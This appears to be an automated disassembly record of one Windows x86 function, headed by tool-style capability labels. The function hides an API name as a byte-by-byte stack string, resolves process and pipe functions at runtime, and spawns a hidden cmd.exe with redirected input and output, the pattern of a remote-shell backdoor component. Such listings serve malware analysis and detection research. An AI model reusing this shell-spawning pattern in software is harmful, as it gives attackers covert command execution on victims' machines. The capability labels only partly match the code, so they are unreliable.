Function at 0x100217f0
Capabilities:
Get number of processors
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x10098dcb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x19c
mov eax, dword [esp + 0x1ac]
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push eax
mov dword [esp + 0x64], ebp
call fcn.100109b0
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov cl, 0x6c
mov byte [esp + 0x1d], cl
mov byte [esp + 0x25], cl
lea ecx, [esp + 0x1c]
xor ebx, ebx
mov al, 0x65
push ecx
push str.KERNEL32.dll
mov dword [esp + 0x1bc], ebx
mov dword [ebp], 0x100b79cc
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x26], 0x6f
mov byte [esp + 0x27], 0x73
mov byte [esp + 0x28], al
mov byte [esp + 0x29], 0x48
mov byte [esp + 0x2a], 0x61
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], 0x64
mov byte [esp + 0x2e], al
mov byte [esp + 0x2f], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetSystemDirectoryA
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.CreatePipe
push str.KERNEL32.dll
mov dword [esp + 0x44], eax
call esi
push eax
call edi
push str.GetStartupInfoA
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
push str.CreateProcessA
push str.KERNEL32.dll
mov dword [esp + 0x48], eax
call esi
push eax
call edi
mov dword [esp + 0x38], eax
xor edx, edx
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x68]
mov dword [esp + 0x64], ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0x2c], eax
mov ecx, 0x40
mov dword [esp + 0x30], eax
lea edi, [esp + 0xa9]
mov dword [esp + 0x34], eax
mov byte [esp + 0xa8], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp + 0x114]
mov dword [esp + 0x48], edx
mov dword [esp + 0x4c], edx
mov dword [esp + 0x28], ebx
mov dword [edi], ebx
mov dword [ebp + 0x118], ebx
lea esi, [ebp + 0x11c]
lea ecx, [esp + 0x44]
push edx
push ecx
mov dword [esi], ebx
lea ebx, [ebp + 0x120]
push ebx
push edi
mov dword [ebx], edx
mov dword [esp + 0x54], 0xc
mov dword [esp + 0x58], edx
mov dword [esp + 0x5c], 1
call dword [esp + 0x20]
test eax, eax
jne 0x1002197c
mov edi, dword [edi]
test edi, edi
je 0x10021968
push edi
call dword [esp + 0x18]
mov ebx, dword [ebx]
test ebx, ebx
je 0x10021c01
push ebx
call dword [esp + 0x18]
jmp 0x10021c01
lea edx, [esp + 0x44]
push 0
lea edi, [ebp + 0x118]
push edx
push edi
push esi
call dword [esp + 0x20]
test eax, eax
jne 0x100219b2
mov edi, dword [edi]
test edi, edi
je 0x1002199e
push edi
call dword [esp + 0x18]
mov esi, dword [esi]
test esi, esi
je 0x10021c01
push esi
call dword [esp + 0x18]
jmp 0x10021c01
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
mov dword [esp + 0x28], eax
lea ecx, [esp + 0x64]
mov dword [esp + 0x2c], eax
push ecx
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
call dword [esp + 0x44]
mov eax, dword [ebx]
mov edx, dword [esi]
mov dword [esp + 0xa4], eax
mov dword [esp + 0xa0], eax
lea eax, [esp + 0xa8]
push 0x104
push eax
mov dword [esp + 0x6c], 0x44
mov word [esp + 0x9c], 0
mov dword [esp + 0x98], 0x101
mov dword [esp + 0xa4], edx
call dword [esp + 0x44]
mov edi, str.cmd.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xa8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x28]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x68]
lea edx, [esp + 0xac]
push ecx
push 0
push 0
push 0x20
push 1
push 0
push 0
push 0
push edx
call dword [esp + 0x60]
test eax, eax
jne 0x10021aa1
mov eax, dword [ebp + 0x114]
mov esi, dword [esp + 0x14]
push eax
call esi
mov ecx, dword [ebp + 0x118]
push ecx
call esi
mov edx, dword [ebp + 0x11c]
push edx
call esi
mov eax, dword [ebx]
push eax
call esi
jmp 0x10021c01
mov ecx, dword [esp + 0x28]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.USER32.dll_WaitForInputIdle]
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov dword [ebp + 0x124], ecx
mov dword [ebp + 0x128], eax
mov dword [ebp + 0x12c], edx
mov edx, dword [0x1012c5e4]
mov ebx, dword [0x1012bb68]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], eax
mov esi, dword [edx + 4]
mov edi, edx
cmp esi, ebx
mov al, 1
je 0x10021b04
mov eax, dword [esi + 0xc]
mov edi, esi
cmp ecx, eax
setb al
test al, al
je 0x10021afd
mov esi, dword [esi]
jmp 0x10021b00
mov esi, dword [esi + 8]
cmp esi, ebx
jne 0x10021aeb
mov cl, byte [0x1012c5e8]
test cl, cl
je 0x10021b1b
lea eax, [esp + 0x14]
lea ecx, [esp + 0x38]
push eax
push edi
push esi
jmp 0x10021b58
test al, al
mov dword [esp + 0x10], edi
je 0x10021b3e
cmp edi, dword [edx]
jne 0x10021b35
lea edx, [esp + 0x14]
lea eax, [esp + 0x3c]
push edx
push edi
push esi
push eax
jmp 0x10021b59
lea ecx, [esp + 0x10]
call fcn.10022d10
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov edx, dword [ecx + 0xc]
cmp edx, eax
jae 0x10021b63
lea eax, [esp + 0x14]
lea ecx, [esp + 0x40]
push eax
push edi
push esi
push ecx
mov ecx, 0x1012c5e0
call fcn.10022a50
xor edx, edx
mov byte [esp + 0x50], 0x91
mov dword [esp + 0x51], edx
mov dword [esp + 0x55], edx
mov dword [esp + 0x59], edx
mov word [esp + 0x5d], dx
mov byte [esp + 0x5f], dl
call fcn.1001a220
test eax, eax
lea edx, [esp + 0x51]
mov edi, 0x1011fc0c
jne 0x10021b96
mov edi, 0x1011fc08
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x54]
push ecx
mov ecx, ebp
call fcn.10010b00
mov ecx, ebp
call fcn.10010b70
push 0
push 0
push 0
push ebp
push 0x10021fc0
push 0
push 0
call fcn.1002bec0
push 0
push 0
push 0
push ebp
push 0x100220e0
push 0
push 0
mov dword [ebp + 0x130], eax
call fcn.1002bec0
add esp, 0x38
mov dword [ebp + 0x134], eax
mov ecx, dword [esp + 0x1ac]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1a8
ret 4